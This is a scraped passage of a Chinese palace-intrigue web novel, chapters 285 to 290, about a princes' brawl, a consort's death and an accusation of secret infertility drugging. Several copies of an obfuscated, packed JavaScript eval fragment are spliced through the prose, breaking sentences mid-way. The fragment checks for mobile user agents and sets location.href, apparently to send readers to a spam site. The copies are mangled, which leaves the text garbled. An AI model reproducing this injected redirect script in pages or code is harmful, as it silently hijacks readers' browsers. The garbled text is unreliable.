而随着时间渐渐过去,众人也就将这件事情慢慢淡忘了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15654168|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>*** 重华宫。 话说自上次七皇子被三皇子害得跌进千里湖区昏迷又醒来以后,七皇子就害了严重的风寒。 虽然后来风寒慢慢好起来了,但是偶尔还是会有些不太舒服。 丽充容不放心他一个人待在重华宫,所以隔三岔五地总要去重华宫看看七皇子,给他送些吃的用的,生怕这孩子再落下什么病来。 毕竟丽充容也就七皇子这么一个孩子,以后还指望着等他成婚开府,自己年纪大了跟着他出宫去颐养天年呢。 这日天气尚好,夏韶宁便同丽充容一块儿去了一趟重华宫去看七皇子,顺道也给六皇子送些东西。 两人手挽着手入了六皇子与七皇子的院子,没想到四皇子居然也在。 “四皇子也在啊。”夏韶宁与丽充容仪入了房间,就瞧见四皇子、六皇子、七皇子正坐在桌前看书。 “给昭母妃请安,给丽母妃请安。”四皇子这孩子虽然打小身体不好,但是自小就十分懂礼貌,举手投足之间也是进退有度,倒是比他那个双生弟弟五皇子好了许多。 “是呢,七弟之前好些天没去崇文馆上课了,四哥最近日日都来给七弟补课呢。”六皇子朝着夏韶宁行了一礼,便出声解释道。 “不是补课,六弟言重了。”听得六皇子的话,四皇子忙不好意思摆了摆手道,“我只是把自己抄写的一些笔记拿给七弟看看,正好两位母妃来了,我这就回去了。” 说完这番话,四皇子又是规矩地朝着两人行了个礼,便转身退出了房间。 “这孩子倒是不错,比沈充媛会做人多了。”看着四皇子离开的背影,丽充容便忍不住对着夏韶宁说了一句。 “是呢,难为他一个孩子还懂得要与这些兄弟姐妹维护感情,他那个母妃可是半点都不懂。” 听得丽充容的话,夏韶宁的脑海中忽然又浮现出了沈充媛那张苦瓜般的脸,终究还是忍不住摇了摇头。 人各有命,还是不要掺和随意别人的事情比较好。 第285章 打架 这日午后,夏韶宁吃过午膳不想去床上睡觉,便窝在贵妃榻上撸猫。 幸运来到承乾宫已经三个多月了,来的时候还是只路都走不稳的小奶猫,在夏韶宁以及承乾宫的宫人们坚持不懈地投喂下,如今身上也摸起来也已经是肉乎乎的了。 “幸运的猫窝眼瞅着小了点儿,赶明儿有空你给它再做一个。”夏韶宁半眯着眼睛瞧见惜春正坐在一旁拿着绣绷绣帕子,便轻声对她道,“这么些年了我的绣工也没个长进,别等我做完了让这小东西硌着不舒服了。” “行,那奴婢给幸运的猫窝上绣个大鲤鱼吧,让它做梦的时候也有鱼吃。”惜春也没抬头,只是轻笑着应了一声,“这小东西跟着娘娘可是享大福了。” 主仆二人正有一搭没一搭地说着话呢,夏韶宁却忽然感觉一阵急促的脚步声由远到近地传了过来。她心中有些不满,刚想斥责是谁如此无礼,便听得耳边传来李顺焦急的声音—— “娘娘,不得了了!刚刚紫宸殿的宫人来传话,说今日在崇文馆上课的时候,五皇子把四皇子的头给打破了,四皇子直接昏过去了!咱们六皇子和郑夫子家的小孙女去拉架,好像也受伤了!几位皇子如今都被圣上叫去紫宸殿了,您赶快去看看吧!” “什么?昀儿受伤了?”听得李顺说六皇子受伤了,夏韶宁一下子就从贵妃榻上坐起了身,“是谁打的?” “不知道呢,来人只说是四皇子与五皇子不知因为何事起了争执,最后好端端的打了起来,咱们六皇子是去拉架受伤的。”李顺回道。 “一个两个都是十多岁的半大小子了,还打架,本宫瞧着他们是越活越回去了。” 这会儿的夏韶宁倒是没有偏心自家儿子,只是冷哼一声随即道,“给本宫更衣,咱们去紫宸殿看看怎么回事。” 紫宸殿。 等到夏韶宁换好衣裳再赶来紫宸殿的时候,萧祈安正眼睛不是眼睛鼻子不是鼻子地在骂人。 几个皇子连带着那郑景瑶都低着头站成了一排,大气都不敢出。 “朕瞧着你们一个个都长本事了,出事儿了怎么不知道去找夫子,自己私下里打架!你们还记得你们是大容的皇子吗?” “陛下,是五皇子先动手的!” 这会儿连一向很得萧祈安喜欢的六皇子都不敢出声,只能低着头挨骂。谁知道站在一旁的郑景瑶却不服气的出声了。 听得她的声音,六皇子急忙死死地拉着她的手,急切道,“你不要命了!怎么还敢和父皇顶嘴!” “我没有顶嘴,我只是同陛下实话实说!”郑景瑶甩开六皇子的手,干脆利落地就朝着萧祈安跪了下来。 “回陛下的话。今日臣女还有其他几位皇子本都在认真读书,是五皇子好端端的就骂了四皇子一句,四皇子气不过回了嘴,五皇子便二话不说直接抄起手里的砚台就朝四皇子砸过去了!” “若不是臣女同六皇子护着四皇子,四皇子如今说不定都被五皇子砸**!” 郑景瑶的年纪在这所有的皇子里头是最小的,但是她说起话来却丝毫不怯场,每句话每个字似乎都有理有据。 夏韶宁就站在一旁,看着这个脸上还带着些许婴儿肥的小姑娘站在萧祈安面前与他据理力争,面上一丝害怕的神情都没有,忽然就觉得……这姑娘有点儿意思。 “陛下。”这厢的萧祈安听完郑景瑶的话还没来得及出声,夏韶宁便拖着裙摆走了过去。 她抬眼看了看眼前的几个人,五皇子的脸上到处都是青一块紫一块的,六皇子的一双眼睛肿得和熊猫一样。而一旁的郑景瑶……头发乱糟糟的,额头上也肿了一个大大的包。 “您也别着急生气,您看看孩子们都伤成什么样了,总得找个太医先给他们看看不是?” 夏韶宁伸出手来帮着萧祈安顺了顺气,顺带还满脸担忧地问了一嘴四皇子,“臣妾听来人说四皇子晕过去了,无碍吧?” “太医刚刚来报,四皇子是因为晕血加上疼痛晕倒的,没什么大碍。”萧祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15661910|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安叹了口气回道,“只是到底伤在头上,这孩子自小身子又不好,也不知道会不会留下什么后遗症。” 说完这番话,萧祈安又面无表情地瞥了一眼站在他面前的几个,到底对着张全和摆了摆手道,“宣太医来给他们几个看看!” 太医来的速度很快,一一给他们受伤的三人看过以后,才拱着手对着萧祈安道,“回陛下,两位皇子和郑姑娘受的都是皮外伤,微臣已经给三人处理过了。好好休息几日,想来应当没什么大问题了。” “朕知道了。”萧祈安微不可闻地点了点头,挥手让殿内的闲杂人等退了出去,便开始准备秋后算账了。 “说说吧,刚刚这郑小姑娘说的话是不是真的?”萧祈安先是挥手让一直规规矩矩跪在地上的郑景瑶站了起来,这才缓步走到了五皇子身边。 而一旁的六皇子,则是下意识的将郑景瑶拉到了自己身后。 “是。”听得萧祈安的问话,五皇子倒是没有一丝犹豫地就承认了下来,“四哥不孝,日日惹得母妃在钟粹宫以泪洗面。儿臣看不惯,早就想教训他了!” 说到这里,他甚至抬眼看了看站在一旁的六皇子与郑景瑶,眼里全是愤怒,“若不是他们两人多事拉着我,我今日非要打死他萧衡康这个不孝的东西不可!” “萧衡茂,你知道你在说什么吗?”看着眼前的五皇子一副完全不认为自己有错的样子,萧祈安气得脸都红了。 “什么就打死他这个不孝的东西,那是你哥哥!你们两人是一母同胞的双生兄弟,你怎么能说出要打死他的话?!” “儿臣没有这样的哥哥!”这会儿的五皇子情绪本来就十分激动,听得萧祈安的这番话,便显得更加激动起来。 只见他梗着脖子,转过头来看了六皇子一眼,忽然就冷笑了起来。 “他萧衡康应当也不愿有儿臣与母妃这样的弟弟与母亲。那是他不能选,若是能选,他怕是最想要昭贵妃同六弟这样的母妃与弟弟吧!” 第286章 兄弟离心 夏韶宁万万没想到,这里头怎么还有她与昀儿的事儿呢? “五哥,你说话可得凭良心。四哥平日里是与我与七弟走得近了些,那还不是因为他每次想同你说话你总是对他爱答不理的。” 听得五皇子这番阴阳怪气的话,六皇子终于忍不住出声了。 “上一次他害了风寒,下课了他本想让你带个话给沈母妃,让沈母妃抽空来看看他。可是你甚至连好好听他说一句话都不肯,抬脚就走了。” “后来还是我让王恩去了一趟钟粹宫带话,可是沈母妃最后到底也没有来看一看四哥,也是我禀了母妃请张太医来重华宫给四哥看病的。这件事情,五哥你不会就不记得了吧?” “他生病了,我也生病了,母妃那段时间忙着照顾我,哪有空管他这么个吃里扒外的家伙!” 听得六皇子提起之前的事情,五皇子的脸上甚至连一丝愧疚的神情都没有。 “他从小就同母妃不亲近,尚小的时候母妃就常常抱着我哭,说他心里嫌弃母妃位份低微不得宠,所以才会想方设法去接近昭贵妃与六皇子。” “俗话还说呢,子不嫌母丑,狗不嫌家贫!我看他萧衡康,真是连条狗都不如!” “闭嘴!”听得五皇子越说越离谱了,萧祈安终于忍无可忍地出声了。 “朕看你是一点儿悔改的心都没有。那好,从今日起你也不要读书了,就待在你的房间里,把《诗经.小雅.常棣》这篇文章抄写一百遍!” “抄完以后,若是你认识到了自己的错误,就再写一篇检讨交给朕,这件事情就算过去了。若是你还是觉得你没错,那就继续罚抄!什么时候你能认识到你的错误,什么时候才许继续去崇文馆上课!” 说实话,萧祈安今日是真的被五皇子给气着了。兄弟之间打架倒还是其次,他主要生气的点在于五皇子打了人还一副不知悔改的样子。 真的让他气得够呛。 “抄就抄!”眼前的五皇子似乎压根就没有被萧祈安这番话吓着,他甚至没等萧祈安让他离开,抬脚就往紫宸殿门外走去。 等到萧祈安再想说什么的时候,五皇子早就走得人影都没了。 “都是一个母妃生的,也不知道这两兄弟的性子这么就差得这样大!” 萧祈安有些头痛地扶了扶额角,转头就看见一旁仍死死护着郑景瑶的六皇子,倒是被他给逗笑了。 “行了,朕又不是**的大老虎,不会怎么着她的。”萧祈安一边说,倒是一边走到了郑景瑶面前,将这姑娘上下打量了一番以后,才忍不住道,“郑夫子的确会教育孩子,这姑娘,很好。” 那厢的郑景瑶,一开始开口说话的时候的确没感到害怕。可是说完了那些话以后,她才渐渐开始觉得自己的胆子是不是真的太大了。 这可是圣上啊,是连自己的祖父见着都要恭恭敬敬行礼的人,她刚刚是哪里来的胆子就敢当着他的面噼里啪啦地就讲了那么一大堆话啊! “陛下,臣女知错了,臣女不该……” “父皇,是儿臣的错!都怪儿臣技不如人,这才挨了五哥的两拳。要是儿臣再厉害些,他肯定打不着我!” 眼看着郑景瑶要向父皇认错,六皇子急忙抢在她前头开口了。但是话一说出口,却是让一直站在一旁旁观的夏韶宁也忍不住笑出了声。 “行了,滚蛋吧!这件事儿就到此为止了。”萧祈安倒是也被六皇子给逗笑了,暗暗笑了好一会儿,才挥手让眼前的两人退了下去。 紫宸殿外。 “回去让王恩煮几个鸡蛋,给你们两个好好敷一敷。”临要离开,夏韶宁到底还是放心不下,跟着六皇子走了出来,小声对着他嘱咐了一句。 她拉住六皇子的手,又意味深长地看了一旁的郑景瑶一眼,小声对着他道,“若是喜欢人家,就好好保护人家。好好学本事,以后人家才能看得上你。” “母妃……”看着自己的心事全被母妃看出来了,六皇子到底还是不好意思的脸红了。 “没事了,回崇文馆好好上课。”夏韶宁觉得现在同他说这件事情到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏韶宁和萧祈安入了内殿的时候,四皇子已经醒了过来,沈充媛坐在他的床上正在喂他吃药。 萧祈安正要抬脚进去,却被夏韶宁轻轻拉住了。 “陛下别急,沈充媛好像在同四皇子说话,咱们先在这外间听听,一会儿进去不迟。” 萧祈安有些疑惑地看了夏韶宁一眼,又隐隐约约听得内间传来了一阵说话的声音,于是他便将刚准备跨进去的一只脚收了回来。 “康儿,等你身子好些了,你去同你父皇给你弟弟求个情,他把你打成这个样子,你父皇肯定要罚死他了!”这明显是沈充媛的声音。 “母妃也知道五弟把我打成这样了?你如今就坐在我床前,都不关心我的伤势,反而一门心思想着要我去找父皇给五弟求情。你的心就这么偏吗?”五皇子冷冷地回了一句。 “我哪里偏心了!”沈充媛的声音提高了一点儿,“你自小身子比你五弟好,你又懂得在昭贵妃和六皇子面前曲意逢迎。我多关心一点儿你弟弟,难道不应该吗?” “什么曲意逢迎,母妃你一定要把话说得这样难听吗?”四皇子冷声道,“你不喜欢昭母妃,就不许我与昭母妃和六弟来往,这世间哪里有这样的道理?我也是一个独立的人,我又不是你的附属品!” “六弟聪明懂事,昭母妃温柔宽容,从小到大这两人比你和五弟给我的关心多多了!我觉得她们好,多亲近一些她们,也算是给我自己留一条后路,我又做错了什么?惹得五弟非要打死我不可?!” “你……” “够了!”听得这两母子说着说着似乎又要吵起来,萧祈安立刻掀开帘子走了进去,夏韶宁便也慢条斯理地跟了上去。 “陛下……臣妾给陛下请安,给昭贵妃请安!” 沈充媛压根没想到萧祈安和夏韶宁这个时候会到她宫里来,急忙跪下身子朝两人行起礼来。 “给父皇请安,给昭母妃请安。” 相较于沈充媛的慌乱,四皇子则显得冷静很多。他坐在床上朝着两人作了一揖,语带抱歉道,“儿臣刚刚醒来,身子不便,不能下地给父皇与昭母妃请安了。” “你好好休息便是,无需多礼。”萧祈安冷冷地瞥了沈充媛一眼,也没叫她起身,自顾自地就坐到了一旁的椅子上。 “沈充媛,这些年来,想来是朕与昭贵妃对你太过宽容了。宽容到你应当已经忘了从前在潜邸的时候朕曾经对你说过什么话了。” 萧祈安低下头来冷冷地看了沈充媛一眼,说话的语气里没有一丝感情。 “陛下,臣妾没有忘!”听得萧祈安又提起之前的那件事,沈充媛的脸色霎时间就变得惨白一片。 她朝着萧祈安重重地磕了一个头,声音颤抖道,“这些年来,臣妾一直尽职尽责地照顾这两个孩子,没有一刻是松懈的,这才让这两个孩子如此平安地长到了如今这个年纪。陛下您不喜欢臣妾,对臣妾没感情,臣妾明白,也从未怨恨过您,但是您不能随意冤枉了臣妾啊!” 夏韶宁站在一旁,听得沈充媛的这番话,感觉白眼都快翻上天了。 这么多年了,沈充媛这茶里茶气的性格还是一点儿都没改,说起话来还是这么又不好听又不讨人喜欢。 “朕冤枉了你?”沈充媛话一出口,萧祈安只觉得好笑。 “刚刚你在里头和老四说的话,朕一字一句听得清清楚楚。按理说你也是文臣世家出来的女儿,朕不明白好好的孩子怎么就被你教成这个样子。” “朕有那么多孩子,尚能尽量让自己对每个人孩子都能关心照顾到,就算真的偏心哪一个,但是对其他孩子也没有完全不管不顾。而你呢?你就这两个儿子,不说要你将他们教得有多好,起码你要做到一视同仁吧?你倒好,非要把你那点偏心摆在台面上,弄得现在老四老五这般兄弟离心,你死我活的局面,你敢说这与你这个当母妃的一点儿关系都没有吗?” 萧祈安说这话的时候一直死死地盯着沈充媛的眼睛。一开始的沈充媛尚能保持一些冷静,甚至还想开口同萧祈安据理力争。 可是随着萧祈安的话越说越深入,沈充媛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不管这后宫里的后妃或者是皇子们怎么闹,这日子总是要过下去的,时间也不会因为某些人而停止向前。 在金州城的春夏秋冬更替了两轮之后,光启十七年就这样悄无声息地到来了。 四皇子与五皇子到了年纪,也纷纷出宫开府去了。今年春天,萧祈安也给他们指了正妃与侧妃。 这两兄弟自从两年前的那件事情以后,已经处于私底下完全不再来往的状态了。如今纷纷出宫成婚,沈充媛也管不到他们了,只能时不时偷偷在私下里抹眼泪。 夏韶宁是不管那么多的,能做到明面上不苛待她不喜欢的人,已经是她最大的修养了。 而就在金州城的春天过去,马上要步入炎热的夏天的时候,毫无预兆的,华清宫忽然传出了一阵悲怆的哭声。 唐婕妤,殁了。 “她是怎么没的?”看着苏昭容与谢修容递过来的唐婕妤丧礼筹备的册子,夏韶宁一瞬间有些不真实感,“她的身体不是一向都很好的吗?” “自从那年大皇子的事情发生以后,她的身子就大不如前了。这些年来小病小痛也不少,只是娘娘没在意她罢了。” 听得夏韶宁的疑问,谢修容也忍不住叹了一口气,“不过她之前得罪过的人太多,有人落井下石也未可知。” “娘娘可要查?”苏昭容看着夏韶宁一直皱着的眉头,小声问了一句,“若是您要查,应当也不困难。” “她都那个年纪了,身子又不好,唯一的儿子还被流放漠州了。就算没有人害她,她又还有几年好活呢?” 夏韶宁拿起手中的团扇扇了扇,随即又漫不经心地道,“南豫近些日子不安稳,圣上的心情不好,后宫里在这个时候不能再出事了。” 苏昭容是个聪明人,听得夏韶宁的话,她便立刻点头道,“臣妾明白,那就按照太医说的,唐婕妤是害了严重的风寒病逝的。” “圣上之前虽然说了再也不想见到她,但是她到底跟了圣上二十来年了,如今都死了,丧礼总不好太寒酸了。” 夏韶宁认真在心里想了想,随即对着苏昭容与谢修容吩咐道,“唐婕妤丧礼还是按照九嫔的规格来办吧,在她的华清宫设个灵堂,到时候让后宫的宫妃们都去送她一程吧。” “娘娘仁慈。”说实话,谢修容是没想过夏韶宁到底还是给唐润玉留了最后一丝体面。 “想当年在潜邸的时候,唐婕妤是最爱与娘娘唱反调的,又爱用他生了那时候的大公子来挤兑咱们,有时候更是连孝端皇后都不放在眼里。” “谁知道她与咱们斗来斗去这么多年,到了不过也就是这样一个下场。说实话,臣妾这心里……倒是挺不是滋味的。” 谢修容从来也不是个多狠的人,从前在潜邸时那般耀武扬威不过是她极度不自信想要争宠做出来的糊涂事。 毕竟是十几岁就认识的人,讲到底也没有什么深仇大恨,这说走就走了,她心里难免觉得有些膈应的慌。 “她走了,那是她没福分。谢姐姐养了安平公主那么好的女儿,又有谢大人那样有出息的驸马,孙辈都有两个了,你有什么好不是滋味的。” 夏韶宁拉了拉谢修容的手,语气轻松,“人都会死的,只要在生前已经享完了自己这辈子该享的福,就算是死了,那也是幸福的,是没有遗憾的,难道不是吗?” “还是娘娘豁达。”苏昭容悄悄扯了扯谢修容的手,面带微笑地看了夏韶宁一眼道,“咱们姐妹都是有福气的,未来的日子,只会越过越好才对呢!” …… 虽说夏韶宁决定要以九嫔的规格来筹办唐婕妤的丧礼,但是本着与萧祈安互相尊重的原则,她还是在当天晚上萧祈安来承乾宫用膳的时候同他提了一嘴这件事情。 因为最近南豫的事情,萧祈安一直很忙,他甚至是今日才从夏韶宁的嘴里知道唐婕妤已经病逝了。 “就按你说的办吧。”也不知道殿内安静了多久,萧祈安终于出声了,“她到底跟了朕那么多年,又给朕生了孩子,总不好弄得太难看了。” “嗯,九嫔以上的宫妃去世了,低位的宫妃们是要去给她守灵的,陛下您看……”夏韶宁又试探性地问道。 “守灵就不必了,发丧前,让后宫里的宫妃们轮流去她灵堂里坐坐便是。”萧祈安夹了一筷子菜放进嘴里吃了,随即便将筷子放了下来,“朕吃饱了。” “陛下心情似乎并不好?”看着萧祈安那自从开始用膳就一直紧紧皱着的眉头,夏韶宁想都没想就伸出手来将他的眉毛抚平了,“不好看呢!” “本来是有些心情不好的,今日见了宁儿,心情好多了。”萧祈安捉住夏韶宁抚过他眉毛的手,放在嘴边亲了亲,“最近事情有些多,朕有些累。” “臣妾给陛下按按吧,能松快些。” 夏韶宁也没问到底出了什么事情让萧祈安心情不好,只是自顾自的站起身来走到了他的身后,伸出双手就帮他捏起了肩膀,“好些了吗?” “你这丫头以前不是好奇心最重的吗,如今年纪上来了,这好奇心倒是也没了?” 萧祈安比着眼睛享受着夏韶宁的按摩,说话的语气明显比刚才轻松了不少,“你怎么不问问朕是因着什么事情心情不好的?” “陛下想说,不必臣妾问自然就会说。若是您不想说,哪怕臣妾问了,您也是不会说的不是吗?” 夏韶宁一边说,手中的动作倒是没有停下来。 “您从年轻时候开始一直都是这种性格,咱们夫妻这么些年了,臣妾怎么会不明白呢?” 说起来,萧祈安最欣赏夏韶宁的一点,就是她从来不会触碰自己的底线,所以自己同她在一起才能相处得这么舒服。 “朕还是那句话,知我朕莫若宁儿也。”听得夏韶宁的回答,萧祈安闭着眼睛笑了。 “南豫内乱,老南豫王的弟弟把老南豫王杀了,太子年幼无法担起一国重任,所以王位就被这人给霸占了。” “这新的南豫王听说是个好战之徒,不满南豫这些年来都要臣服于大容,所以朕猜想……,南豫,大概是要反了!” 第289章 你知道什么 萧祈安说这话的速度很慢,但是夏韶宁听完,正在帮着他按肩膀的手还是不自觉地停顿了一下。 自夏韶宁穿越到大容如今已经二十多年了,大容这个国家一直都十分的平静安稳。 她差一点就忘记了,这里是古代,是一个封建社会,是一个随时都有可能发生战争的时代。 似乎是感觉到了夏韶宁情绪的变化,萧祈安这才慢慢睁开了眼睛。 “宁儿别怕,这只是朕的猜测,也未必会就一定要兵戎相见。大容与南豫已经和平共处了几十年了,就算那新的南豫王要打,那也不是他一个人说了算的。” 萧祈安伸出手来,轻轻地将夏韶宁揽进了怀里,手还有一下没一下地摸着她的头发,轻声安慰着她。 “臣妾没什么好怕的。”夏韶宁顿了顿道,“不过若是能不打仗还是不打的好。一旦打起仗来,咱们这些锦衣玉食的人或许感觉不到什么,那些普通老百姓的日子才是真的不好过。” 虽然已经过了这么多年的好日子了,但是夏韶宁从没有一刻忘记过她前世不过也就是个普通人,所以她总能适时地站在普通百姓的角度上去考虑问题。 “朕明白。”萧祈安有些欣慰夏韶宁能考虑得如此细致,揽住她的手又用力了一些。 两人就这样相拥着,沉沉睡去。 *** 得了萧祈安的同意,第二日夏韶宁就吩咐殿中省准备起唐婕妤的丧礼仪式来。 依着萧祈安的意思,低位妃嫔为唐婕妤守灵这一步就不必了,但是后宫宫妃轮流去她的灵堂坐一坐,送她一程还是需要的。 夏韶宁是后宫中位份最高的,后宫里有妃子去世,白日里若是无事她也都会在唐婕妤的灵堂坐一坐。倒不是大容后宫宫规里有什么硬性规定要求她必须这样做,她只是觉得都到了这个时候了,也就没必要和一个死人再计较什么了。 她将后宫的事情操持的尽善尽美,落一个贤良淑德的好名声,这对六皇子的未来来说何尝不是一个好处呢? 这一日,刚好轮到仪淑妃与纯德妃来唐婕妤的灵堂坐一坐,送她一程。 两人前后脚入了灵堂的时候,夏韶宁正在同殿中监说话。 “今日过后停灵的时间就满了,明日殿中省就筹备给唐婕妤发丧吧。圣上说按照九嫔的仪式给她下葬,你们也要用些心,别惹得圣上知道了不高兴。” “昭贵妃娘娘放心,微臣明白。”殿中监听得夏韶宁的话,忙不迭地点了点头。抬头看到仪淑妃与纯德妃进来了,又忙低头对两人行礼。 “无事你先下去吧。”眼见着两人面无表情地走了进来,夏韶宁便对着殿中监摆了摆手,示意他可以离开了。 “说来说去还是贵妃娘娘心善呢,这唐婕妤生前作了那么多妖,娘娘还这般不计前嫌地在她的丧礼上忙前忙后,这谁知道了不说一句昭贵妃娘娘贤德呢?” 仪淑妃一边说,一边走到一旁烧纸的火盆旁,接过宫女递过来的纸钱往盆里丢了一沓,说话的语气里隐隐约约透露出了些阴阳怪气。 “本宫记得仪淑妃当年入宫的时候,打的不也是个贤良的旗号,圣上当初还夸过你呢。怎么这么些年过去了,本宫瞧着你是越来越刻薄了呢。” 也没等夏韶宁开口,一旁的纯德妃也往火盆里丢了一沓纸钱,转过头来睨了仪淑妃一眼。 夏韶宁抬眼看着眼前的这两个高位妃子,这么多年过去了,这两人倒是也老了不少。 特别是纯德妃,她当初入宫的时候年龄就已经不小了,哪怕再保养得宜,她的眼角也已经爬上了细细的皱纹了。 “两位若是不愿意待在这儿,那就给唐婕妤烧些纸钱,略略坐坐就回去吧。”夏韶宁压根没接仪淑妃的话,慢条斯理道,“死者为大,还是不要在她的灵堂前说那些不知所云的话了。” “不知所云?”听得夏韶宁的一番话,仪淑妃却好似听到了什么笑话一般冷笑了起来,“贵妃娘娘您觉得臣妾今日说的这些话是不知所云的话,那臣妾今日就说些知所云的话给您听听。” “这话和你也有很大的关系,本宫劝你也好好地、认认真真地听听比较好。” 仪淑妃一边说,一边瞥了一眼站在她身旁的纯德妃道。 “若是臣妾没记错,当年纯德妃为了争宠,故意装病装成一副半死不活样子的时候,圣上是叫过贵妃娘娘去给她诊脉的对吗?” 仪淑妃转过头来看了看夏韶宁,面上带了些深不可测的神情。 而就这一句话,夏韶宁的心中忽然怔了一下。 因为不可避免地,她想起了那个在她心里已经埋了十多年的秘密。 “呵,事情都过了这么多年了,圣上这些年对本宫也一直都是淡淡的,本宫但是不知仪淑妃旧事重提是为了哪般呢?” 纯德妃不知道仪淑妃心里在打着什么算盘,听得仪淑妃提起那么久之前的事情,她的面上瞬间露出了一丝浅浅的怒气。 “本宫知道你生气,但是你等本宫把话都说完再生气也不迟。” 仪淑妃没有正面回答纯德妃的话,而是转过身来死死盯住了夏韶宁的眼睛,略带挑衅道,“怎么?贵妃娘娘是不敢接臣妾的话吗?” “你想说什么,别在这里绕弯子,直说便是。” 这会儿的夏韶宁,压根没心思同仪淑妃在这里打哑谜,她更想知道这个女人,她到底知道什么。 “好啊,既然贵妃娘娘都这么说了,那臣妾也就不必隐瞒了。” “这些年来,臣妾和纯德妃虽然不算特别受宠,但是无论如何也是有些宠爱在身上的。”仪淑妃顿了顿,缓缓走到了夏韶宁的身边。 “可是有一件事情臣妾这些年来却始终想不通。我与纯德妃身居高位,宠爱也不少,为何……我们两人这些年来,一次身孕都未曾有过?!贵妃娘娘难道不觉得,很奇怪吗?” “你这话什么意思?”果然,仪淑妃这话说完,还没等夏韶宁回答,纯德妃立刻激动起来。 她三两步走到仪淑妃的身边,扯着她的衣袖朗声问道,“你知道什么?快说!” 第290章 所谓真相(上) 倒是不怪纯德妃听完仪淑妃这番话这么激动,实在是没有孩子这件事情,是这么多年来她心中难以释怀的痛。 早些年来她刚进宫的时候,曾经天真地以为萧祈安还是从前那个与她一起学习骑射的祈安哥哥。 可是随着时间一天一天的过去,她各种争宠的办法都想了个遍,却发现萧祈安对她始终是淡淡的。 倒是也没有说完全不宠爱她,毕竟萧祈安隔三岔五的还是会宠幸自己一次的。可是若是说有多宠她,那完全谈不上。 久而久之,纯德妃也就慢慢接受了人是会变化的这个现实的。她便想着既然自己抓不住这个男人的心,那生一个属于她们两个的孩子总归也算让她在这深宫中有个念想。 可是就是这么一个小小的愿望,这么多年了,却一直没有实现。太医院擅长千金科的太医被她看了个遍,个个太医都说她身体康健,总有一日能够有孕的。 于是她等啊等啊,不知不觉就等到了如今她已经三十八岁的年纪了。 这个年纪再想要生孩子,基本上也就没有可能了。 “我知道什么?你应该去问问昭贵妃娘娘她知道什么!” 仪淑妃从纯德妃手中将自己的衣摆扯了回来,语带嘲讽道,“她师从公孙信,什么奇怪的病症她把不出来?可是之前那一次你装病,她给你把脉的时候明明把出了你被下了绝子药,可是她却硬生生忍着不说。” “不怕告诉你,前段时间本宫偷偷让本宫的母亲从云州请了个巫医给本宫把了脉,这才发现本宫早在许多年前就被人偷偷下了绝子药!而那么巧,这些年来本宫怀不上孩子,你也怀不上孩子。咱们两人身处高位,却又一直怀不上孩子,难道你不觉得很奇怪吗?” 说到这里,仪淑妃的脸上忽然就露出了一丝落寞又了然的神情。 “你好好想想,在这个宫里,最不希望我们两个生下孩子的人是谁?” “你不必在这里阴阳怪气,也不必在这里挑拨关系。既然你今日把这件事情摆在台面上说了,本宫就明明白白地告诉你。” 夏韶宁直接无视了仪淑妃与纯德妃此刻投在她身上那般恨恨的目光,提高音量道,“本宫从来没有给你们下过药,你们怀不上孩子与本宫无关。至于其他的事情,本宫无可奉告。” “这么多年来,本宫对待宫里的这些宫妃们,无论位份高低从来一视同仁。本宫从未害过任何一个人,也不屑于害人。若是你们不信,大可以用你们自己的办法去查,本宫保证绝不阻拦。” “言尽于此,信不信都由你们。”说完这番话,夏韶宁也就不耐烦继续在这里待着了,转过头就带着惜春和含秋离开了。 “你不必在这装清高,本宫一定会去查!你……” 看着夏韶宁离开的背影,仪淑妃仍旧不解恨般对着她恶狠狠道。只是她还想说什么,却被一旁冷着脸的纯德妃拉住了。 “不是她做的。”纯德妃闭上了眼,她心里有个猜测,只是她并不愿意或者说不想要承认这个猜测。 “你什么意思?”仪淑妃挣脱开纯德妃的手,柳眉倒竖地看着她道,“我们两个没有孩子,最受益的便是她的儿子,你凭什么认定她不会给我们下药?她霸着贵妃的位置这么多年,她说什么圣上都听她的,你怎么就相信她不会做出这种事儿?” “她有那么大的本事吗?”纯德妃瞥了仪淑妃一眼,看她的眼神同看一个傻子也没什么区别。 “你想想,她若是要给我们下药,她得买通多少人?首先,太医院所有的太医她都得买通,还得买通你我宫里所有的贴身内侍宫女。最重要的是,哪怕她再得宠,她做下这等事情,若是被圣上知道了,圣上也不会放过她!” “你的身后是文官首领燕家,我的身后是武官首领傅家。她夏韶宁本事再大,给咱们这种家世的女子下绝子药,若是被发现,她全家都得完蛋!你觉得她会用她夏家全府,甚至于她自己儿子的性命和前途来陷害我们吗?” 